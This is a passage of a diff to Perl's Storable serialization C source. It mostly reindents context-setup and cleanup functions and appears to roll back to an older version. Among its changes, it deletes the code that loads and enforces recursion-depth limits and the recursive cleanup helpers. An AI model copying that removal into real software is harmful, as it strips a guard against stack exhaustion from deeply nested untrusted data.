= -1; /* whether to be forgiving... */ cxt->accept_future_minor = -1; /* would otherwise occur too late */ @@ -1553,11 +1303,9 @@ static void init_perinterp(pTHX) */ static void reset_context(stcxt_t *cxt) { - cxt->entry = 0; - cxt->s_dirty = 0; - cxt->recur_sv = NULL; - cxt->recur_depth = 0; - cxt->optype &= ~(ST_STORE|ST_RETRIEVE); /* Leave ST_CLONE alone */ + cxt->entry = 0; + cxt->s_dirty = 0; + cxt->optype &= ~(ST_STORE|ST_RETRIEVE); /* Leave ST_CLONE alone */ } /* @@ -1565,105 +1313,101 @@ static void reset_context(stcxt_t *cxt) * * Initialize a new store context for real recursion. */ -static void init_store_context(pTHX_ +static void init_store_context( + pTHX_ stcxt_t *cxt, - PerlIO *f, - int optype, - int network_order) + PerlIO *f, + int optype, + int network_order) { - INIT_TRACEME; - - TRACEME(("init_store_context")); - - cxt->netorder = network_order; - cxt->forgive_me = -1; /* Fetched from perl if needed */ - cxt->deparse = -1; /* Idem */ - cxt->eval = NULL; /* Idem */ - cxt->canonical = -1; /* Idem */ - cxt->tagnum = -1; /* Reset tag numbers */ - cxt->classnum = -1; /* Reset class numbers */ - cxt->fio = f; /* Where I/O are performed */ - cxt->optype = optype; /* A store, or a deep clone */ - cxt->entry = 1; /* No recursion yet */ - - /* - * The 'hseen' table is used to keep track of each SV stored and their - * associated tag numbers is special. It is "abused" because the - * values stored are not real SV, just integers cast to (SV *), - * which explains the freeing below. - * - * It is also one possible bottleneck to achieve good storing speed, - * so the "shared keys" optimization is turned off (unlikely to be - * of any use here), and the hash table is "pre-extended". Together, - * those optimizations increase the throughput by 12%. - */ + TRACEME(("init_store_context")); + + cxt->netorder = network_order; + cxt->forgive_me = -1; /* Fetched from perl if needed */ + cxt->deparse = -1; /* Idem */ + cxt->eval = NULL; /* Idem */ + cxt->canonical = -1; /* Idem */ + cxt->tagnum = -1; /* Reset tag numbers */ + cxt->classnum = -1; /* Reset class numbers */ + cxt->fio = f; /* Where I/O are performed */ + cxt->optype = optype; /* A store, or a deep clone */ + cxt->entry = 1; /* No recursion yet */ + + /* + * The 'hseen' table is used to keep track of each SV stored and their + * associated tag numbers is special. It is "abused" because the + * values stored are not real SV, just integers cast to (SV *), + * which explains the freeing below. + * + * It is also one possible bottleneck to achieve good storing speed, + * so the "shared keys" optimization is turned off (unlikely to be + * of any use here), and the hash table is "pre-extended". Together, + * those optimizations increase the throughput by 12%. + */ #ifdef USE_PTR_TABLE - cxt->pseen = ptr_table_new(); - cxt->hseen = 0; + cxt->pseen = ptr_table_new(); + cxt->hseen = 0; #else - cxt->hseen = newHV(); /* Table where seen objects are stored */ - HvSHAREKEYS_off(cxt->hseen); -#endif - /* - * The following does not work well with perl5.004_04, and causes - * a core dump later on, in a completely unrelated spot, which - * makes me think there is a memory corruption going on. - * - * Calling hv_ksplit(hseen, HBUCKETS) instead of manually hacking - * it below does not make any difference. It seems to work fine - * with perl5.004_68 but given the probable nature of the bug, - * that does not prove anything. - * - * It's a shame because increasing the amount of buckets raises - * store() throughput by 5%, but until I figure this out, I can't - * allow for this to go into production. - * - * It is reported fixed in 5.005, hence the #if. - */ + cxt->hseen = newHV(); /* Table where seen objects are stored */ + HvSHAREKEYS_off(cxt->hseen); +#endif + /* + * The following does not work well with perl5.004_04, and causes + * a core dump later on, in a completely unrelated spot, which + * makes me think there is a memory corruption going on. + * + * Calling hv_ksplit(hseen, HBUCKETS) instead of manually hacking + * it below does not make any difference. It seems to work fine + * with perl5.004_68 but given the probable nature of the bug, + * that does not prove anything. + * + * It's a shame because increasing the amount of buckets raises + * store() throughput by 5%, but until I figure this out, I can't + * allow for this to go into production. + * + * It is reported fixed in 5.005, hence the #if. + */ #if PERL_VERSION >= 5 -#define HBUCKETS 4096 /* Buckets for %hseen */ +#define HBUCKETS 4096 /* Buckets for %hseen */ #ifndef USE_PTR_TABLE - HvMAX(cxt->hseen) = HBUCKETS - 1; /* keys %hseen = $HBUCKETS; */ + HvMAX(cxt->hseen) = HBUCKETS - 1; /* keys %hseen = $HBUCKETS; */ #endif #endif - /* - * The 'hclass' hash uses the same settings as 'hseen' above, but it is - * used to assign sequential tags (numbers) to class names for blessed - * objects. - * - * We turn the shared key optimization on. - */ + /* + * The 'hclass' hash uses the same settings as 'hseen' above, but it is + * used to assign sequential tags (numbers) to class names for blessed + * objects. + * + * We turn the shared key optimization on. + */ - cxt->hclass = newHV(); /* Where seen classnames are stored */ + cxt->hclass = newHV(); /* Where seen classnames are stored */ #if PERL_VERSION >= 5 - HvMAX(cxt->hclass) = HBUCKETS - 1; /* keys %hclass = $HBUCKETS; */ + HvMAX(cxt->hclass) = HBUCKETS - 1; /* keys %hclass = $HBUCKETS; */ #endif - /* - * The 'hook' hash table is used to keep track of the references on - * the STORABLE_freeze hook routines, when found in some class name. - * - * It is assumed that the inheritance tree will not be changed during - * storing, and that no new method will be dynamically created by the - * hooks. - */ - - cxt->hook = newHV(); /* Table where hooks are cached */ + /* + * The 'hook' hash table is used to keep track of the references on + * the STORABLE_freeze hook routines, when found in some class name. + * + * It is assumed that the inheritance tree will not be changed during + * storing, and that no new method will be dynamically created by the + * hooks. + */ - /* - * The 'hook_seen' array keeps track of all the SVs returned by - * STORABLE_freeze hooks for us to serialize, so that they are not - * reclaimed until the end of the serialization process. Each SV is - * only stored once, the first time it is seen. - */ + cxt->hook = newHV(); /* Table where hooks are cached */ - cxt->hook_seen = newAV(); /* Lists SVs returned by STORABLE_freeze */ + /* + * The 'hook_seen' array keeps track of all the SVs returned by + * STORABLE_freeze hooks for us to serialize, so that they are not + * reclaimed until the end of the serialization process. Each SV is + * only stored once, the first time it is seen. + */ - cxt->max_recur_depth = SvIV(get_sv("Storable::recursion_limit", GV_ADD)); - cxt->max_recur_depth_hash = SvIV(get_sv("Storable::recursion_limit_hash", GV_ADD)); + cxt->hook_seen = newAV(); /* Lists SVs returned by STORABLE_freeze */ } /* @@ -1673,86 +1417,86 @@ static void init_store_context(pTHX_ */ static void clean_store_context(pTHX_ stcxt_t *cxt) { - HE *he; + HE *he; - TRACEMED(("clean_store_context")); + TRACEME(("clean_store_context")); - ASSERT(cxt->optype & ST_STORE, ("was performing a store()")); + ASSERT(cxt->optype & ST_STORE, ("was performing a store()")); - /* - * Insert real values into hashes where we stored faked pointers. - */ + /* + * Insert real values into hashes where we stored faked pointers. + */ #ifndef USE_PTR_TABLE - if (cxt->hseen) { - hv_iterinit(cxt->hseen); - while ((he = hv_iternext(cxt->hseen))) /* Extra () for -Wall */ - HeVAL(he) = &PL_sv_undef; - } + if (cxt->hseen) { + hv_iterinit(cxt->hseen); + while ((he = hv_iternext(cxt->hseen))) /* Extra () for -Wall, grr.. */ + HeVAL(he) = &PL_sv_undef; + } #endif - if (cxt->hclass) { - hv_iterinit(cxt->hclass); - while ((he = hv_iternext(cxt->hclass))) /* Extra () for -Wall */ - HeVAL(he) = &PL_sv_undef; - } + if (cxt->hclass) { + hv_iterinit(cxt->hclass); + while ((he = hv_iternext(cxt->hclass))) /* Extra () for -Wall, grr.. */ + HeVAL(he) = &PL_sv_undef; + } - /* - * And now dispose of them... - * - * The surrounding if() protection has been added because there might be - * some cases where this routine is called more than once, during - * exceptional events. This was reported by Marc Lehmann when Storable - * is executed from mod_perl, and the fix was suggested by him. - * -- RAM, 20/12/2000 - */ + /* + * And now dispose of them... + * + * The surrounding if() protection has been added because there might be + * some cases where this routine is called more than once, during + * exceptional events. This was reported by Marc Lehmann when Storable + * is executed from mod_perl, and the fix was suggested by him. + * -- RAM, 20/12/2000 + */ #ifdef USE_PTR_TABLE - if (cxt->pseen) { - struct ptr_tbl *pseen = cxt->pseen; - cxt->pseen = 0; - ptr_table_free(pseen); - } - assert(!cxt->hseen); + if (cxt->pseen) { + struct ptr_tbl *pseen = cxt->pseen; + cxt->pseen = 0; + ptr_table_free(pseen); + } + assert(!cxt->hseen); #else - if (cxt->hseen) { - HV *hseen = cxt->hseen; - cxt->hseen = 0; - hv_undef(hseen); - sv_free((SV *) hseen); - } + if (cxt->hseen) { + HV *hseen = cxt->hseen; + cxt->hseen = 0; + hv_undef(hseen); + sv_free((SV *) hseen); + } #endif - if (cxt->hclass) { - HV *hclass = cxt->hclass; - cxt->hclass = 0; - hv_undef(hclass); - sv_free((SV *) hclass); - } + if (cxt->hclass) { + HV *hclass = cxt->hclass; + cxt->hclass = 0; + hv_undef(hclass); + sv_free((SV *) hclass); + } - if (cxt->hook) { - HV *hook = cxt->hook; - cxt->hook = 0; - hv_undef(hook); - sv_free((SV *) hook); - } + if (cxt->hook) { + HV *hook = cxt->hook; + cxt->hook = 0; + hv_undef(hook); + sv_free((SV *) hook); + } - if (cxt->hook_seen) { - AV *hook_seen = cxt->hook_seen; - cxt->hook_seen = 0; - av_undef(hook_seen); - sv_free((SV *) hook_seen); - } + if (cxt->hook_seen) { + AV *hook_seen = cxt->hook_seen; + cxt->hook_seen = 0; + av_undef(hook_seen); + sv_free((SV *) hook_seen); + } - cxt->forgive_me = -1; /* Fetched from perl if needed */ - cxt->deparse = -1; /* Idem */ - if (cxt->eval) { - SvREFCNT_dec(cxt->eval); - } - cxt->eval = NULL; /* Idem */ - cxt->canonical = -1; /* Idem */ + cxt->forgive_me = -1; /* Fetched from perl if needed */ + cxt->deparse = -1; /* Idem */ + if (cxt->eval) { + SvREFCNT_dec(cxt->eval); + } + cxt->eval = NULL; /* Idem */ + cxt->canonical = -1; /* Idem */ - reset_context(cxt); + reset_context(cxt); } /* @@ -1760,57 +1504,51 @@ static void clean_store_context(pTHX_ stcxt_t *cxt) * * Initialize a new retrieve context for real recursion. */ -static void init_retrieve_context(pTHX_ - stcxt_t *cxt, int optype, int is_tainted) +static void init_retrieve_context(pTHX_ stcxt_t *cxt, int optype, int is_tainted) { - INIT_TRACEME; + TRACEME(("init_retrieve_context")); - TRACEME(("init_retrieve_context")); - - /* - * The hook hash table is used to keep track of the references on - * the STORABLE_thaw hook routines, when found in some class name. - * - * It is assumed that the inheritance tree will not be changed during - * storing, and that no new method will be dynamically created by the - * hooks. - */ + /* + * The hook hash table is used to keep track of the references on + * the STORABLE_thaw hook routines, when found in some class name. + * + * It is assumed that the inheritance tree will not be changed during + * storing, and that no new method will be dynamically created by the + * hooks. + */ - cxt->hook = newHV(); /* Caches STORABLE_thaw */ + cxt->hook = newHV(); /* Caches STORABLE_thaw */ #ifdef USE_PTR_TABLE - cxt->pseen = 0; -#endif - - /* - * If retrieving an old binary version, the cxt->retrieve_vtbl variable - * was set to sv_old_retrieve. We'll need a hash table to keep track of - * the correspondence between the tags and the tag number used by the - * new retrieve routines. - */ - - cxt->hseen = (((void*)cxt->retrieve_vtbl == (void*)sv_old_retrieve) - ? newHV() : 0); - - cxt->aseen = newAV(); /* Where retrieved objects are kept */ - cxt->where_is_undef = UNSET_NTAG_T; /* Special case for PL_sv_undef */ - cxt->aclass = newAV(); /* Where seen classnames are kept */ - cxt->tagnum = 0; /* Have to count objects... */ - cxt->classnum = 0; /* ...and class names as well */ - cxt->optype = optype; - cxt->s_tainted = is_tainted; - cxt->entry = 1; /* No recursion yet */ + cxt->pseen = 0; +#endif + + /* + * If retrieving an old binary version, the cxt->retrieve_vtbl variable + * was set to sv_old_retrieve. We'll need a hash table to keep track of + * the correspondence between the tags and the tag number used by the + * new retrieve routines. + */ + + cxt->hseen = (((void*)cxt->retrieve_vtbl == (void*)sv_old_retrieve) + ? newHV() : 0); + + cxt->aseen = newAV(); /* Where retrieved objects are kept */ + cxt->where_is_undef = -1; /* Special case for PL_sv_undef */ + cxt->aclass = newAV(); /* Where seen classnames are kept */ + cxt->tagnum = 0; /* Have to count objects... */ + cxt->classnum = 0; /* ...and class names as well */ + cxt->optype = optype; + cxt->s_tainted = is_tainted; + cxt->entry = 1; /* No recursion yet */ #ifndef HAS_RESTRICTED_HASHES - cxt->derestrict = -1; /* Fetched from perl if needed */ + cxt->derestrict = -1; /* Fetched from perl if needed */ #endif #ifndef HAS_UTF8_ALL - cxt->use_bytes = -1; /* Fetched from perl if needed */ + cxt->use_bytes = -1; /* Fetched from perl if needed */ #endif - cxt->accept_future_minor = -1;/* Fetched from perl if needed */ - cxt->in_retrieve_overloaded = 0; - - cxt->max_recur_depth = SvIV(get_sv("Storable::recursion_limit", GV_ADD)); - cxt->max_recur_depth_hash = SvIV(get_sv("Storable::recursion_limit_hash", GV_ADD)); + cxt->accept_future_minor = -1; /* Fetched from perl if needed */ + cxt->in_retrieve_overloaded = 0; } /* @@ -1820,49 +1558,49 @@ static void init_retrieve_context(pTHX_ */ static void clean_retrieve_context(pTHX_ stcxt_t *cxt) { - TRACEMED(("clean_retrieve_context")); + TRACEME(("clean_retrieve_context")); - ASSERT(cxt->optype & ST_RETRIEVE, ("was performing a retrieve()")); + ASSERT(cxt->optype & ST_RETRIEVE, ("was performing a retrieve()")); - if (cxt->aseen) { - AV *aseen = cxt->aseen; - cxt->aseen = 0; - av_undef(aseen); - sv_free((SV *) aseen); - } - cxt->where_is_undef = UNSET_NTAG_T; + if (cxt->aseen) { + AV *aseen = cxt->aseen; + cxt->aseen = 0; + av_undef(aseen); + sv_free((SV *) aseen); + } + cxt->where_is_undef = -1; - if (cxt->aclass) { - AV *aclass = cxt->aclass; - cxt->aclass = 0; - av_undef(aclass); - sv_free((SV *) aclass); - } + if (cxt->aclass) { + AV *aclass = cxt->aclass; + cxt->aclass = 0; + av_undef(aclass); + sv_free((SV *) aclass); + } - if (cxt->hook) { - HV *hook = cxt->hook; - cxt->hook = 0; - hv_undef(hook); - sv_free((SV *) hook); - } + if (cxt->hook) { + HV *hook = cxt->hook; + cxt->hook = 0; + hv_undef(hook); + sv_free((SV *) hook); + } - if (cxt->hseen) { - HV *hseen = cxt->hseen; - cxt->hseen = 0; - hv_undef(hseen); - sv_free((SV *) hseen); /* optional HV, for backward compat. */ - } + if (cxt->hseen) { + HV *hseen = cxt->hseen; + cxt->hseen = 0; + hv_undef(hseen); + sv_free((SV *) hseen); /* optional HV, for backward compat. */ + } #ifndef HAS_RESTRICTED_HASHES - cxt->derestrict = -1; /* Fetched from perl if needed */ + cxt->derestrict = -1; /* Fetched from perl if needed */ #endif #ifndef HAS_UTF8_ALL - cxt->use_bytes = -1; /* Fetched from perl if needed */ + cxt->use_bytes = -1; /* Fetched from perl if needed */ #endif - cxt->accept_future_minor = -1; /* Fetched from perl if needed */ + cxt->accept_future_minor = -1; /* Fetched from perl if needed */ - cxt->in_retrieve_overloaded = 0; - reset_context(cxt); + cxt->in_retrieve_overloaded = 0; + reset_context(cxt); } /* @@ -1872,24 +1610,24 @@ static void clean_retrieve_context(pTHX_ stcxt_t *cxt) */ static void clean_context(pTHX_ stcxt_t *cxt) { - TRACEMED(("clean_context")); + TRACEME(("clean_context")); - ASSERT(cxt->s_dirty, ("dirty context")); + ASSERT(cxt->s_dirty, ("dirty context")); - if (cxt->membuf_ro) - MBUF_RESTORE(); + if (cxt->membuf_ro) + MBUF_RESTORE(); - ASSERT(!cxt->membuf_ro, ("mbase is not read-only")); + ASSERT(!cxt->membuf_ro, ("mbase is not read-only")); - if (cxt->optype & ST_RETRIEVE) - clean_retrieve_context(aTHX_ cxt); - else if (cxt->optype & ST_STORE) - clean_store_context(aTHX_ cxt); - else - reset_context(cxt); + if (cxt->optype & ST_RETRIEVE) + clean_retrieve_context(aTHX_ cxt); + else if (cxt->optype & ST_STORE) + clean_store_context(aTHX_ cxt); + else + reset_context(cxt); - ASSERT(!cxt->s_dirty, ("context is clean")); - ASSERT(cxt->entry == 0, ("context is reset")); + ASSERT(!cxt->s_dirty, ("context is clean")); + ASSERT(cxt->entry == 0, ("context is reset")); } /* @@ -1900,19 +1638,19 @@ static void clean_context(pTHX_ stcxt_t *cxt) */ static stcxt_t *allocate_context(pTHX_ stcxt_t *parent_cxt) { - stcxt_t *cxt; + stcxt_t *cxt; - ASSERT(!parent_cxt->s_dirty, ("parent context clean")); + TRACEME(("allocate_context")); - NEW_STORABLE_CXT_OBJ(cxt); - TRACEMED(("allocate_context")); + ASSERT(!parent_cxt->s_dirty, ("parent context clean")); - cxt->prev = parent_cxt->my_sv; - SET_STCXT(cxt); + NEW_STORABLE_CXT_OBJ(cxt); + cxt->prev = parent_cxt->my_sv; + SET_STCXT(cxt); - ASSERT(!cxt->s_dirty, ("clean context")); + ASSERT(!cxt->s_dirty, ("clean context")); - return cxt; + return cxt; } /* @@ -1923,18 +1661,18 @@ static stcxt_t *allocate_context(pTHX_ stcxt_t *parent_cxt) */ static void free_context(pTHX_ stcxt_t *cxt) { - stcxt_t *prev = (stcxt_t *)(cxt->prev ? SvPVX(SvRV(cxt->prev)) : 0); + stcxt_t *prev = (stcxt_t *)(cxt->prev ? SvPVX(SvRV(cxt->prev)) : 0); - TRACEMED(("free_context")); + TRACEME(("free_context")); - ASSERT(!cxt->s_dirty, ("clean context")); - ASSERT(prev, ("not freeing root context")); - assert(prev); + ASSERT(!cxt->s_dirty, ("clean context")); + ASSERT(prev, ("not freeing root context")); + assert(prev); - SvREFCNT_dec(cxt->my_sv); - SET_STCXT(prev); + SvREFCNT_dec(cxt->my_sv); + SET_STCXT(prev); - ASSERT(cxt, ("context not void")); + ASSERT(cxt, ("context not void")); } /*** @@ -1950,9 +1688,9 @@ static void free_context(pTHX_ stcxt_t *cxt) */ static int is_storing(pTHX) { - dSTCXT; + dSTCXT; - return cxt->entry && (cxt->optype & ST_STORE); + return cxt->entry && (cxt->optype & ST_STORE); } /* @@ -1962,9 +1700,9 @@ static int is_storing(pTHX) */ static int is_retrieving(pTHX) { - dSTCXT; + dSTCXT; - return cxt->entry && (cxt->optype & ST_RETRIEVE); + return cxt->entry && (cxt->optype & ST_RETRIEVE); } #endif @@ -1978,10 +1716,10 @@ static int is_retrieving(pTHX) */ static int last_op_in_netorder(pTHX) { - dSTCXT; + dSTCXT; - assert(cxt); - return cxt->netorder; + assert(cxt); + return cxt->netorder; } /*** @@ -1996,40 +1734,39 @@ static int last_op_in_netorder(pTHX) * Returns the routine reference as an SV*, or null if neither the package * nor its ancestors know about the method. */ -static SV *pkg_fetchmeth(pTHX_ +static SV *pkg_fetchmeth( + pTHX_ HV *cache, HV *pkg, const char *method) { - GV *gv; - SV *sv; - const char *hvname = HvNAME_get(pkg); -#ifdef DEBUGME - dSTCXT; -#endif - - /* - * The following code is the same as the one performed by UNIVERSAL::can - * in the Perl core. - */ - - gv = gv_fetchmethod_autoload(pkg, method, FALSE); - if (gv && isGV(gv)) { - sv = newRV_inc((SV*) GvCV(gv)); - TRACEME(("%s->%s: 0x%" UVxf, hvname, method, PTR2UV(sv))); - } else { - sv = newSVsv(&PL_sv_undef); - TRACEME(("%s->%s: not found", hvname, method)); - } + GV *gv; + SV *sv; + const char *hvname = HvNAME_get(pkg); + + + /* + * The following code is the same as the one performed by UNIVERSAL::can + * in the Perl core. + */ + + gv = gv_fetchmethod_autoload(pkg, method, FALSE); + if (gv && isGV(gv)) { + sv = newRV((SV*) GvCV(gv)); + TRACEME(("%s->%s: 0x%" UVxf, hvname, method, PTR2UV(sv))); + } else { + sv = newSVsv(&PL_sv_undef); + TRACEME(("%s->%s: not found", hvname, method)); + } - /* - * Cache the result, ignoring failure: if we can't store the value, - * it just won't be cached. - */ + /* + * Cache the result, ignoring failure: if we can't store the value, + * it just won't be cached. + */ - (void) hv_store(cache, hvname, strlen(hvname), sv, 0); + (void) hv_store(cache, hvname, strlen(hvname), sv, 0); - return SvOK(sv) ? sv : (SV *) 0; + return SvOK(sv) ? sv : (SV *) 0; } /* @@ -2037,15 +1774,16 @@ static SV *pkg_fetchmeth(pTHX_ * * Force cached value to be undef: hook ignored even if present. */ -static void pkg_hide(pTHX_ +static void pkg_hide( + pTHX_ HV *cache, HV *pkg, const char *method) { - const char *hvname = HvNAME_get(pkg); - PERL_UNUSED_ARG(method); - (void) hv_store(cache, - hvname, strlen(hvname), newSVsv(&PL_sv_undef), 0); + const char *hvname = HvNAME_get(pkg); + PERL_UNUSED_ARG(method); + (void) hv_store(cache, + hvname, strlen(hvname), newSVsv(&PL_sv_undef), 0); } /* @@ -2053,14 +1791,15 @@ static void pkg_hide(pTHX_ * * Discard cached value: a whole fetch loop will be retried at next lookup. */ -static void pkg_uncache(pTHX_ +static void pkg_uncache( + pTHX_ HV *cache, HV *pkg, const char *method) { - const char *hvname = HvNAME_get(pkg); - PERL_UNUSED_ARG(method); - (void) hv_delete(cache, hvname, strlen(hvname), G_DISCARD); + const char *hvname = HvNAME_get(pkg); + PERL_UNUSED_ARG(method); + (void) hv_delete(cache, hvname, strlen(hvname), G_DISCARD); } /* @@ -2071,43 +1810,41 @@ static void pkg_uncache(pTHX_ * Returns the routine reference as an SV*, or null if the object does not * know about the method. */ -static SV *pkg_can(pTHX_ +static SV *pkg_can( + pTHX_ HV *cache, HV *pkg, const char *method) { - SV **svh; - SV *sv; - const char *hvname = HvNAME_get(pkg); -#ifdef DEBUGME - dSTCXT; -#endif - - TRACEME(("pkg_can for %s->%s", hvname, method)); - - /* - * Look into the cache to see whether we already have determined - * where the routine was, if any. - * - * NOTA BENE: we don't use 'method' at all in our lookup, since we know - * that only one hook (i.e. always the same) is cached in a given cache. - */ - - svh = hv_fetch(cache, hvname, strlen(hvname), FALSE); - if (svh) { - sv = *svh; - if (!SvOK(sv)) { - TRACEME(("cached %s->%s: not found", hvname, method)); - return (SV *) 0; - } else { - TRACEME(("cached %s->%s: 0x%" UVxf, - hvname, method, PTR2UV(sv))); - return sv; - } - } + SV **svh; + SV *sv; + const char *hvname = HvNAME_get(pkg); + + TRACEME(("pkg_can for %s->%s", hvname, method)); + + /* + * Look into the cache to see whether we already have determined + * where the routine was, if any. + * + * NOTA BENE: we don't use 'method' at all in our lookup, since we know + * that only one hook (i.e. always the same) is cached in a given cache. + */ + + svh = hv_fetch(cache, hvname, strlen(hvname), FALSE); + if (svh) { + sv = *svh; + if (!SvOK(sv)) { + TRACEME(("cached %s->%s: not found", hvname, method)); + return (SV *) 0; + } else { + TRACEME(("cached %s->%s: 0x%" UVxf, + hvname, method, PTR2UV(sv))); + return sv; + } + } - TRACEME(("not cached yet")); - return pkg_fetchmeth(aTHX_ cache, pkg, method); /* Fetch and cache */ + TRACEME(("not cached yet")); + return pkg_fetchmeth(aTHX_ cache, pkg, method); /* Fetch and cache */ } /* @@ -2116,57 +1853,55 @@ static SV *pkg_can(pTHX_ * Call routine as obj->hook(av) in scalar context. * Propagates the single returned value if not called in void context. */ -static SV *scalar_call(pTHX_ +static SV *scalar_call( + pTHX_ SV *obj, SV *hook, int cloning, AV *av, I32 flags) { - dSP; - int count; - SV *sv = 0; -#ifdef DEBUGME - dSTCXT; -#endif - - TRACEME(("scalar_call (cloning=%d)", cloning)); - - ENTER; - SAVETMPS; - - PUSHMARK(sp); - XPUSHs(obj); - XPUSHs(sv_2mortal(newSViv(cloning))); /* Cloning flag */ - if (av) { - SV **ary = AvARRAY(av); - SSize_t cnt = AvFILLp(av) + 1; - SSize_t i; - XPUSHs(ary[0]); /* Frozen string */ - for (i = 1; i < cnt; i++) { - TRACEME(("pushing arg #%d (0x%" UVxf ")...", - (int)i, PTR2UV(ary[i]))); - XPUSHs(sv_2mortal(newRV_inc(ary[i]))); - } - } - PUTBACK; + dSP; + int count; + SV *sv = 0; + + TRACEME(("scalar_call (cloning=%d)", cloning)); + + ENTER; + SAVETMPS; + + PUSHMARK(sp); + XPUSHs(obj); + XPUSHs(sv_2mortal(newSViv(cloning))); /* Cloning flag */ + if (av) { + SV **ary = AvARRAY(av); + int cnt = AvFILLp(av) + 1; + int i; + XPUSHs(ary[0]); /* Frozen string */ + for (i = 1; i < cnt; i++) { + TRACEME(("pushing arg #%d (0x%" UVxf ")...", + i, PTR2UV(ary[i]))); + XPUSHs(sv_2mortal(newRV(ary[i]))); + } + } + PUTBACK; - TRACEME(("calling...")); - count = call_sv(hook, flags); /* Go back to Perl code */ - TRACEME(("count = %d", count)); + TRACEME(("calling...")); + count = perl_call_sv(hook, flags); /* Go back to Perl code */ + TRACEME(("count = %d", count)); - SPAGAIN; + SPAGAIN; - if (count) { - sv = POPs; - SvREFCNT_inc(sv); /* We're returning it, must stay alive! */ - } + if (count) { + sv = POPs; + SvREFCNT_inc(sv); /* We're returning it, must stay alive! */ + } - PUTBACK; - FREETMPS; - LEAVE; + PUTBACK; + FREETMPS; + LEAVE; - return sv; + return sv; } /* @@ -2175,151 +1910,85 @@ static SV *scalar_call(pTHX_ * Call routine obj->hook(cloning) in list context. * Returns the list of returned values in an array. */ -static AV *array_call(pTHX_ +static AV *array_call( + pTHX_ SV *obj, SV *hook, int cloning) { - dSP; - int count; - AV *av; - int i; -#ifdef DEBUGME - dSTCXT; -#endif + dSP; + int count; + AV *av; + int i; - TRACEME(("array_call (cloning=%d)", cloning)); + TRACEME(("array_call (cloning=%d)", cloning)); - ENTER; - SAVETMPS; + ENTER; + SAVETMPS; - PUSHMARK(sp); - XPUSHs(obj); /* Target object */ - XPUSHs(sv_2mortal(newSViv(cloning))); /* Cloning flag */ - PUTBACK; + PUSHMARK(sp); + XPUSHs(obj); /* Target object */ + XPUSHs(sv_2mortal(newSViv(cloning))); /* Cloning flag */ + PUTBACK; - count = call_sv(hook, G_ARRAY); /* Go back to Perl code */ + count = perl_call_sv(hook, G_ARRAY); /* Go back to Perl code */ - SPAGAIN; + SPAGAIN; - av = newAV(); - for (i = count - 1; i >= 0; i--) { - SV *sv = POPs; - av_store(av, i, SvREFCNT_inc(sv)); - } + av = newAV(); + for (i = count - 1; i >= 0; i--) { + SV *sv = POPs; + av_store(av, i, SvREFCNT_inc(sv)); + } - PUTBACK; - FREETMPS; - LEAVE; + PUTBACK; + FREETMPS; + LEAVE; - return av; + return av; } -#if PERL_VERSION < 15 -static void -cleanup_recursive_av(pTHX_ AV* av) { - SSize_t i = AvFILLp(av); - SV** arr = AvARRAY(av); - if (SvMAGICAL(av)) return; - while (i >= 0) { - if (arr[i]) { -#if PERL_VERSION < 14 - arr[i] = NULL; -#else - SvREFCNT_dec(arr[i]); -#endif - } - i--; - } -} +/* + * known_class + * + * Lookup the class name in the 'hclass' table and either assign it a new ID + * or return the existing one, by filling in 'classnum'. + * + * Return true if the class was known, false if the ID was just generated. + */ +static int known_class( + pTHX_ + stcxt_t *cxt, + char *name, /* Class name */ + int len, /* Name length */ + I32 *classnum) +{ + SV **svh; + HV *hclass = cxt->hclass; -#ifndef SvREFCNT_IMMORTAL -#ifdef DEBUGGING - /* exercise the immortal resurrection code in sv_free2() */ -# define SvREFCNT_IMMORTAL 1000 -#else -# define SvREFCNT_IMMORTAL ((~(U32)0)/2) -#endif -#endif + TRACEME(("known_class (%s)", name)); -static void -cleanup_recursive_hv(pTHX_ HV* hv) { - SSize_t i = HvTOTALKEYS(hv); - HE** arr = HvARRAY(hv); - if (SvMAGICAL(hv)) return; - while (i >= 0) { - if (arr[i]) { - SvREFCNT(HeVAL(arr[i])) = SvREFCNT_IMMORTAL; - arr[i] = NULL; /* let it leak. too dangerous to clean it up here */ - } - i--; - } -#if PERL_VERSION < 8 - ((XPVHV*)SvANY(hv))->xhv_array = NULL; -#else - HvARRAY(hv) = NULL; -#endif - HvTOTALKEYS(hv) = 0; -} -static void -cleanup_recursive_rv(pTHX_ SV* sv) { - if (sv && SvROK(sv)) - SvREFCNT_dec(SvRV(sv)); -} -static void -cleanup_recursive_data(pTHX_ SV* sv) { - if (SvTYPE(sv) == SVt_PVAV) { - cleanup_recursive_av(aTHX_ (AV*)sv); - } - else if (SvTYPE(sv) == SVt_PVHV) { - cleanup_recursive_hv(aTHX_ (HV*)sv); - } - else { - cleanup_recursive_rv(aTHX_ sv); - } -} -#endif + /* + * Recall that we don't store pointers in this hash table, but tags. + * Therefore, we need LOW_32BITS() to extract the relevant parts. + */ -/* - * known_class - * - * Lookup the class name in the 'hclass' table and either assign it a new ID - * or return the existing one, by filling in 'classnum'. - * - * Return true if the class was known, false if the ID was just generated. - */ -static int known_class(pTHX_ - stcxt_t *cxt, - char *name, /* Class name */ - int len, /* Name length */ - I32 *classnum) -{ - SV **svh; - HV *hclass = cxt->hclass; - - TRACEME(("known_class (%s)", name)); - - /* - * Recall that we don't store pointers in this hash table, but tags. - * Therefore, we need LOW_32BITS() to extract the relevant parts. - */ - - svh = hv_fetch(hclass, name, len, FALSE); - if (svh) { - *classnum = LOW_32BITS(*svh); - return TRUE; - } + svh = hv_fetch(hclass, name, len, FALSE); + if (svh) { + *classnum = LOW_32BITS(*svh); + return TRUE; + } - /* - * Unknown classname, we need to record it. - */ + /* + * Unknown classname, we need to record it. + */ - cxt->classnum++; - if (!hv_store(hclass, name, len, INT2PTR(SV*, cxt->classnum), 0)) - CROAK(("Unable to record new classname")); + cxt->classnum++; + if (!hv_store(hclass, name, len, INT2PTR(SV*, cxt->classnum), 0)) + CROAK(("Unable to record new classname")); - *classnum = cxt->classnum; - return FALSE; + *classnum = cxt->classnum; + return FALSE; } /*** @@ -2334,50 +2003,33 @@ static int known_class(pTHX_ */ static int store_ref(pTHX_ stcxt_t *cxt, SV *sv) { - int retval; - int is_weak = 0; - TRACEME(("store_ref (0x%" UVxf ")", PTR2UV(sv))); + int is_weak = 0; + TRACEME(("store_ref (0x%" UVxf ")", PTR2UV(sv))); - /* - * Follow reference, and check if target is overloaded. - */ + /* + * Follow reference, and check if target is overloaded. + */ #ifdef SvWEAKREF - if (SvWEAKREF(sv)) - is_weak = 1; - TRACEME(("ref (0x%" UVxf ") is%s weak", PTR2UV(sv), - is_weak ? "" : "n't")); -#endif - sv = SvRV(sv); - - if (SvOBJECT(sv)) { - HV *stash = (HV *) SvSTASH(sv); - if (stash && Gv_AMG(stash)) { - 